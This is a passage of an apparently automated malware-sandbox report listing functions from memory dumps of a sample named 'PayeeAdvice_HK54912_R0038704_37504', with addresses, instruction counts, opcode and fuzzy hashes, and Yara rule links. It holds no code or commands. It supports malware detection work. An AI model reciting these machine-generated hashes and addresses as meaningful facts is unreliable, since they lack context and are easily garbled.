API ID:
String ID:
API String ID:
Opcode ID: e599f0437aaa7def3caa3f0957ead1e86a5a7714d5574b9078faa7fb646ec2b2
Instruction ID: 9f062c96c18bcdd750d38f19ab30fbe458e7bb2821d4bc6370b2d0313c262b72
Opcode Fuzzy Hash: e599f0437aaa7def3caa3f0957ead1e86a5a7714d5574b9078faa7fb646ec2b2
Instruction Fuzzy Hash: 2F116A7A7002008FD704CB2AD588A56B7E6EF88765B218469E64ACFB61CA71EC04CB60

Function 00116300 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 250fdb900cb7711e462f57a9df28edb657014a71c6d2e1644768fc75990e4dd2
Instruction ID: 899aed9c7323ef0b977a7800aebc0c256f4974ff5a2ec4de7f4765d0cc997f8e
Opcode Fuzzy Hash: 250fdb900cb7711e462f57a9df28edb657014a71c6d2e1644768fc75990e4dd2
Instruction Fuzzy Hash: BF1104353046119FC71D5B2AD89497EB7A6FFC97913190078E81ACB760CF32DC428B90

Function 001127F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dbb64b1b04f63edc643e00dd95dc65d9c60a47bd2d8eac58a4aea0f70b1d259
Instruction ID: 78063721bd6f18d94b77582dba64cef57e7e026c811c33fb76f6fbaa484ebf8d
Opcode Fuzzy Hash: 8dbb64b1b04f63edc643e00dd95dc65d9c60a47bd2d8eac58a4aea0f70b1d259
Instruction Fuzzy Hash: 1521CE74D0520A8FCB45EFA9D8445EEBFF4FF4A300F14526AD805B7220EB355A95CBA1

Function 36A54C00 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4202fa9b7546fcc001e24b20716b496243f356ec7d1506955583af91a20e3bf2
Instruction ID: 98469fb888a5dcff546cefb869b3ea79eb33c50057261f809be8a01302c00aac
Opcode Fuzzy Hash: 4202fa9b7546fcc001e24b20716b496243f356ec7d1506955583af91a20e3bf2
Instruction Fuzzy Hash: D111A031E003199FCB54EFBA944029EBBF6EB88350B124139DA44A7205EF31AC46CBE1

Function 36A549E0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb3f4c3d01e586b5a2a1954bca61f670c39079d7d5d40e79ba362665ce22128
Instruction ID: e6a53552e3887b61e40fef2d84db43d5a6de4dbd245ea92a152d3f2f4b33a00b
Opcode Fuzzy Hash: 5bb3f4c3d01e586b5a2a1954bca61f670c39079d7d5d40e79ba362665ce22128
Instruction Fuzzy Hash: 4A01D2362142488FD700AB79F808A5D7BAAEBC5761B108536F60AC7661DF318D46DBA1

Function 0011F650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f887420ac285674a051dd6027cf8269d5c95d7c4dfddb0bd5b93842d720d17d3
Instruction ID: a61a6340347f607935f0c5fc3acd382b2c900c8dc11300593d711ba37982684a
Opcode Fuzzy Hash: f887420ac285674a051dd6027cf8269d5c95d7c4dfddb0bd5b93842d720d17d3
Instruction Fuzzy Hash: E6113A70D001099FDB04EFA9C98069EBFF2FF84300F109579D018AB365EB745A4A9F81

Function 00115E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc2aa186dc7bad443dd5ae8e6f4f857616724bb52bf83cc312105d55430565f7
Instruction ID: 02228ebcb5c0c096354cea6e7cb027b08617aa439a7e47a3e198703950ec1b88
Opcode Fuzzy Hash: fc2aa186dc7bad443dd5ae8e6f4f857616724bb52bf83cc312105d55430565f7
Instruction Fuzzy Hash: 2501F532A09224AFCF069E5898506EF3BABDFC9750B144066F904DB295CF318E519BD1

Function 36A54633 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 091bbe09f22756ed71ba63d5db81025f4ac143ce2b6a76472ed1bf5c28408eff
Instruction ID: 69fd36f15f3f7388ef80d70ad43829e265b54172111c742e23e4b1e335a589e4
Opcode Fuzzy Hash: 091bbe09f22756ed71ba63d5db81025f4ac143ce2b6a76472ed1bf5c28408eff
Instruction Fuzzy Hash: 16018C75B102018FD714CA2AD948B56B7E6EF887A5F218479E64ACFB61CA70EC05CB60

Function 36A53258 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d124eb0ab436d11d8ce28970a5c16047c22924404478029f7ccbe4dca4533900
Instruction ID: ae571f94e5265e6cf8bbe99b8e0937b547e58800f37e07cd609310c00dd93eaf
Opcode Fuzzy Hash: d124eb0ab436d11d8ce28970a5c16047c22924404478029f7ccbe4dca4533900
Instruction Fuzzy Hash: 24019E35E0021DEFCB04DF69D8189AE7BB5FB98750B004439F95AA3240DF308A128BA1

Function 36A544D3 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc843c94945af56eb9290349fb1969d724471e1af5751335ae167d723236127e
Instruction ID: 95905fdae97ba75cca0226025157c9e9a37a53eaae6c50b02ad8484d9e2243cf
Opcode Fuzzy Hash: fc843c94945af56eb9290349fb1969d724471e1af5751335ae167d723236127e
Instruction Fuzzy Hash: 9501A776A002189F8B14EF9ED8408DEFBF5FB98350B104536E518D3214DB70AA56CFE1

Function 0011E8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1f1c0aba507d5d717f3f86765f98af0ee7fb5c837d49f5702b36ef2db5a5b59
Instruction ID: 53d6fe74f04ead8ff1379b42247521c7dc846441087977b0ac7e092ee0b62670
Opcode Fuzzy Hash: a1f1c0aba507d5d717f3f86765f98af0ee7fb5c837d49f5702b36ef2db5a5b59
Instruction Fuzzy Hash: 51115774D0420AAFDB02DFA8C8859AEBBB1FF4A304F004066E910A3350D7359A16DF92

Function 0011ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4efebb5892e0c1faa6f8c2609caadf519c1cc17c3489446dad45a208c8b67aaa
Instruction ID: f5a5e9e15eff214a1c2e720850829f09ba60cbf9789365e3c1e17caa430be4a7
Opcode Fuzzy Hash: 4efebb5892e0c1faa6f8c2609caadf519c1cc17c3489446dad45a208c8b67aaa
Instruction Fuzzy Hash: CCF0F6313052104B871D5A2E9854B6ABADEEFC8B55799407AE909C7361EF21CC8383C2

Function 36A53248 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a0a5d3d7dcf053f399e110ec84d810c85ece2782b8828701ed28970566cd937
Instruction ID: eb90494825ecc59c27c177018011d300f310601f01811aac7310fa9247e6763e
Opcode Fuzzy Hash: 6a0a5d3d7dcf053f399e110ec84d810c85ece2782b8828701ed28970566cd937
Instruction Fuzzy Hash: 03017535A0021DEFCB14DF69D84459E7B75FF98710B008429F959A3240DB304A16DFE1

Function 36A54C98 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 723977eae0ce6df3b2fd76b8b5077a63e277548ed634ee8b6ba3bbac6444e8b1
Instruction ID: 3fb3eda64b9b7618e32387c23bc10c2bd874f320e88e96f876b8dbdc41018f70
Opcode Fuzzy Hash: 723977eae0ce6df3b2fd76b8b5077a63e277548ed634ee8b6ba3bbac6444e8b1
Instruction Fuzzy Hash: 55F09032B042155BC7059A5AE518A5BB7AADBC4771F1600AAFA09CB350DF36D8068BA0

Function 36CEEB58 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98620061ec02d0674d32bae95a128d762683b6276b984e901c855414ce27b91f
Instruction ID: b59c6cd40891ae8edd51803c47bdfe78fcdc24ec3cf8f23e7874133f11c2d214
Opcode Fuzzy Hash: 98620061ec02d0674d32bae95a128d762683b6276b984e901c855414ce27b91f
Instruction Fuzzy Hash: 7901F670E003198FDF44EFBAC9006DEBBF5AF88241F00817AD519F7250EB3999028BA5

Function 36CEE6A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e761242a065a1a1a246315c802c3425ae264b33dcf7dbb7b989273b60867d3e9
Instruction ID: b6e55c56243e5d7f5dacb2d90c6a21a9befabcd69f8a3e16c28040fbf49c4cd9
Opcode Fuzzy Hash: e761242a065a1a1a246315c802c3425ae264b33dcf7dbb7b989273b60867d3e9
Instruction Fuzzy Hash: 40F01C357002148FE7089B2AD958A2A37AAEFC9B9171584A9F606CB7B1DE71DC01C790

Function 36A54990 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6b371a9e33f33611b2d8ae03531b2f725bed0a5fe50805fe474de0deeec9999
Instruction ID: 433b21aca08feab8a1df99d8a1217dcd2db4d200d6e6636b0557561a3e01de13
Opcode Fuzzy Hash: c6b371a9e33f33611b2d8ae03531b2f725bed0a5fe50805fe474de0deeec9999
Instruction Fuzzy Hash: 9FF05E35300205DFD700CF6AD888C5ABBEAFF887257658069FA098B331CB719C51CB90

Function 36CEE699 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d6af9b5fce6be3d8d16eef78aaef87d5c7e7345dc1f193653cc58910d10ff75
Instruction ID: a448543bbf2a37329665661232acb9fa8e8ff7b1e38db3fe83610fdc769fd831
Opcode Fuzzy Hash: 7d6af9b5fce6be3d8d16eef78aaef87d5c7e7345dc1f193653cc58910d10ff75
Instruction Fuzzy Hash: 0EF030357041148FE7489B2AD954A2637EAAFC979171544BAFA09CB3B4DA61CC01C790

Function 36CEE63B Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206509170.0000000036CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36ce0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25bec957c66ad0a0e084c210bf6f03a368e11bb93935893571e4bc0ad4f69433
Instruction ID: 9cfe525802f27e3c25896254e9dc692718093eb1ecbad0e1dfe1a68e0f2dfdc6
Opcode Fuzzy Hash: 25bec957c66ad0a0e084c210bf6f03a368e11bb93935893571e4bc0ad4f69433
Instruction Fuzzy Hash: F3F06D3AB0E2C44FCB038B75A866985BFB5AF8621930B84E7D1C5CB0B3C524995AC711

Function 0011AF5B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a48df264ebd3a543b8b5cc1738f2c986d64c475324d833c3c16374ab3cc76067
Instruction ID: b2010043a6b90af2499b7f31a045fa84a8bd5d6f2b252d314a86f74c961a1fec
Opcode Fuzzy Hash: a48df264ebd3a543b8b5cc1738f2c986d64c475324d833c3c16374ab3cc76067
Instruction Fuzzy Hash: D8F01C36649144AFCB018B94EC50ACDBFB2BF89211F184096EA11AB2A1C2319915CB61

Function 00116739 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bce3963d4d4a309972deba5fd55e7485973a53f82d1a3066d904ed9409864b08
Instruction ID: f01448a9a3e7db21f2a4a9795867319bc87a25d256c2d7d83194d4cbc95736e9
Opcode Fuzzy Hash: bce3963d4d4a309972deba5fd55e7485973a53f82d1a3066d904ed9409864b08
Instruction Fuzzy Hash: 19E0463000C3E44EDB03A739E9941457F3AEE8220071480A2E0844E2BBDE642D49CBA1

Function 001128B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dd205f0dfd06a01d78acd006ff686517ee2ec5e955cb107890bb505723a696c
Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
Opcode Fuzzy Hash: 0dd205f0dfd06a01d78acd006ff686517ee2ec5e955cb107890bb505723a696c
Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2

Function 001128AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1ee7746efb02f7611e67204c290656b3ce5baa2b51ab9609bb9b5da7d4e5cad
Instruction ID: b1d7de6063eb2025d87b0d8101c68b47bd06818539670fc0cb9e300f38c228d6
Opcode Fuzzy Hash: c1ee7746efb02f7611e67204c290656b3ce5baa2b51ab9609bb9b5da7d4e5cad
Instruction Fuzzy Hash: 21D01235E6062A968B01EBB1AD100EDB334AE95225B548616D57836150EB30665E86A2

Function 36A54A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c98a728006e701fdf2ce8dd44af0bc8d4fcce9d9dd2e252a7979075a87c8331
Instruction ID: 97e6a536b6cb66e6e9f4f74a5f1d64524f403ea418d36bd572047e2ab638fc5c
Opcode Fuzzy Hash: 0c98a728006e701fdf2ce8dd44af0bc8d4fcce9d9dd2e252a7979075a87c8331
Instruction Fuzzy Hash: 28D0C7363141186B4B051A4DA8048BE7B5EE7C9B717048026F909D3300CE714D13A7D5

Function 0011D6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a22e0f0729ad62e643258ed7556d26a2a75733223fefd124ae55c6a0c73d5d7
Instruction ID: b20d6fd5996570f4d11ee2fb63ec8f46df672a6984a90f63f4515d0974792069
Opcode Fuzzy Hash: 0a22e0f0729ad62e643258ed7556d26a2a75733223fefd124ae55c6a0c73d5d7
Instruction Fuzzy Hash: 33D0E234E00008CBCB20DFA8E8844DCBB70EF48321B20502BD925A3620C7305990CF02

Function 0011AFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccd5933b969375a25f38b461aaa0044c77c91eea472ccba219e23ee5f4aa9e1b
Instruction ID: 5919d8ebfba8660f8dd2b4e225a474b3584f78dd0ff98eb8b12f9d8a5fcbbdf1
Opcode Fuzzy Hash: ccd5933b969375a25f38b461aaa0044c77c91eea472ccba219e23ee5f4aa9e1b
Instruction Fuzzy Hash: 8ED0673AB40018EFCB049F99EC808DDF7B6FB98221B148116F915A3261C6319965DB54

Function 36A54284 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea09bc3484612f31cfcf692bc809bdfacc0f68b22dae2c8227be81eb09ad1e9
Instruction ID: 817fedb6a9cfc79704bbc4c043f14bc257c26bf00d79fcc98c2112562b117818
Opcode Fuzzy Hash: eea09bc3484612f31cfcf692bc809bdfacc0f68b22dae2c8227be81eb09ad1e9
Instruction Fuzzy Hash: B9D0C97A341114CFC314DB6DE455C99BB75FF9922632855BFE202CBA32CA32C806CB20

Function 001198F0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08a27babf903542ceb340966f834a7182ab68233a35a01cf1147921ecd204631
Instruction ID: 02a0025b2f693f78d03943d6d9e0f79eb93edd63b6d4e22bb7b8f146175ba98c
Opcode Fuzzy Hash: 08a27babf903542ceb340966f834a7182ab68233a35a01cf1147921ecd204631
Instruction Fuzzy Hash: 4EC0127104A3E08FCF07DB606DB4685BF306F53211B1842E3E2808E997DD200609CBD3

Function 00116748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4177088255.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_110000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e02601ad7e2229eda5a5e01f0eca720e350313b87d2f07380d20277e5ef20da
Instruction ID: 814ea9fac730c224b3f73bc60fb61feea436f97265ded867081e115524feadec
Opcode Fuzzy Hash: 0e02601ad7e2229eda5a5e01f0eca720e350313b87d2f07380d20277e5ef20da
Instruction Fuzzy Hash: A8C012300583084EE505E765DE45555BB2EEF802007508520E0050667EDFB46D8A8B94

Non-executed Functions

Function 36A50040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5vq, xrefs: 36A5015B

Memory Dump Source

Source File: 00000002.00000002.4206290371.0000000036A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 36A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36a50000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: 2dbe8a5339af9c9f75a40fde4f97c6c1d64552f09aa7b35b3977b524e51dbd37
Instruction ID: f6ee8b169ce90ab190f6f8028caebe3ff4cd66d24afd8bef970ffc197cb7ce86
Opcode Fuzzy Hash: 2dbe8a5339af9c9f75a40fde4f97c6c1d64552f09aa7b35b3977b524e51dbd37
Instruction Fuzzy Hash: C1529C74E01228CFEB64DF69C980B9DBBB2BB89300F1085E9D549A7265DB319E81DF50

Function 02EF3E5B Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

Ro9, xrefs: 02EF40B2

Memory Dump Source

Source File: 00000002.00000002.4177532134.0000000002EDB000.00000040.00000400.00020000.00000000.sdmp, Offset: 02EDB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2edb000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Ro9
API String ID: 0-1878496446
Opcode ID: 6b5a90e399533dc42789ad90f2b89888e7bce47c0881ba7d169da720eb4c7593
Instruction ID: 04b1a2de78e7e5e333817cc8aec8db31e94a34874aa69cdc956ab6062dee2902
Opcode Fuzzy Hash: 6b5a90e399533dc42789ad90f2b89888e7bce47c0881ba7d169da720eb4c7593
Instruction Fuzzy Hash: 1B418D667443034BDB24597CCAE439767A3AFC37A0BA9836ACD928B1D5D36584C38103

Function 36CB5FD8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206412392.0000000036CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cb0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f717201becb396675282663e2e520f14919f4d47c63042e9002788c3c26d0c6d
Instruction ID: 93e231c5f634f7b3d71300b9acd2f25cec07d6441dc42838e162976a10518844
Opcode Fuzzy Hash: f717201becb396675282663e2e520f14919f4d47c63042e9002788c3c26d0c6d
Instruction Fuzzy Hash: 73E1AF74E01218CFDB24DFA9C940B9DBBB2BF89304F2081A9D809B7365DB355A86CF15

Function 36CF0E98 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e5b4671ace386bcd27ac4f76e73e901e2c9942e56886e338ebbca8acd8cc62
Instruction ID: 26c1b9761389fa780e000d79a1156fa2400efd49d1a64f417058d221e0a0c91e
Opcode Fuzzy Hash: 41e5b4671ace386bcd27ac4f76e73e901e2c9942e56886e338ebbca8acd8cc62
Instruction Fuzzy Hash: 45D19074E00218CFEB54DFA5C994B9DBBB2BF89300F2081A9D809AB354DB359E85CF55

Function 36CF0040 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46bc7344590e1662a8d4d6d8d36688811d45a37be77d6170a7d180c10685b422
Instruction ID: 55bf0a5e06b35afd8402fe4a6364466446598ad714c71649bc4d892217b70dae
Opcode Fuzzy Hash: 46bc7344590e1662a8d4d6d8d36688811d45a37be77d6170a7d180c10685b422
Instruction Fuzzy Hash: 8CD19F74E00218CFEB54DFA5C994B9DBBB2BF89300F1081A9D809AB354DB359E85CF55

Function 36CF1828 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d8c8cf3bef699d5a05210f486b5c508f447fcdf886adcca2a99b5f0f14920f
Instruction ID: 58827b5412041fcdf782f3f08ccda1e058d401673095abf435c4e3a691c72398
Opcode Fuzzy Hash: 03d8c8cf3bef699d5a05210f486b5c508f447fcdf886adcca2a99b5f0f14920f
Instruction Fuzzy Hash: 9BD19074E00218CFEB54DFA5C994B9DBBB2BF89300F1081A9D809AB364DB359E85CF55

Function 36CF09D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_36cf0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b56103bdbca990ec6ba6f8c5c2c21b5798b0cf6d4cc38f643bfb2849a4af7f1c
Instruction ID: 9f5e783cd937f371c46aeb4e6c0619e94921eb422bcabe63dacb725c35a5aed0
Opcode Fuzzy Hash: b56103bdbca990ec6ba6f8c5c2c21b5798b0cf6d4cc38f643bfb2849a4af7f1c
Instruction Fuzzy Hash: 28D19074E00218CFEB54DFA5C994B9DBBB2BF89300F1081A9D809AB354DB359E85CF55

Function 36CF1360 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4206536124.0000000036CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36CF0000, based on PE: false

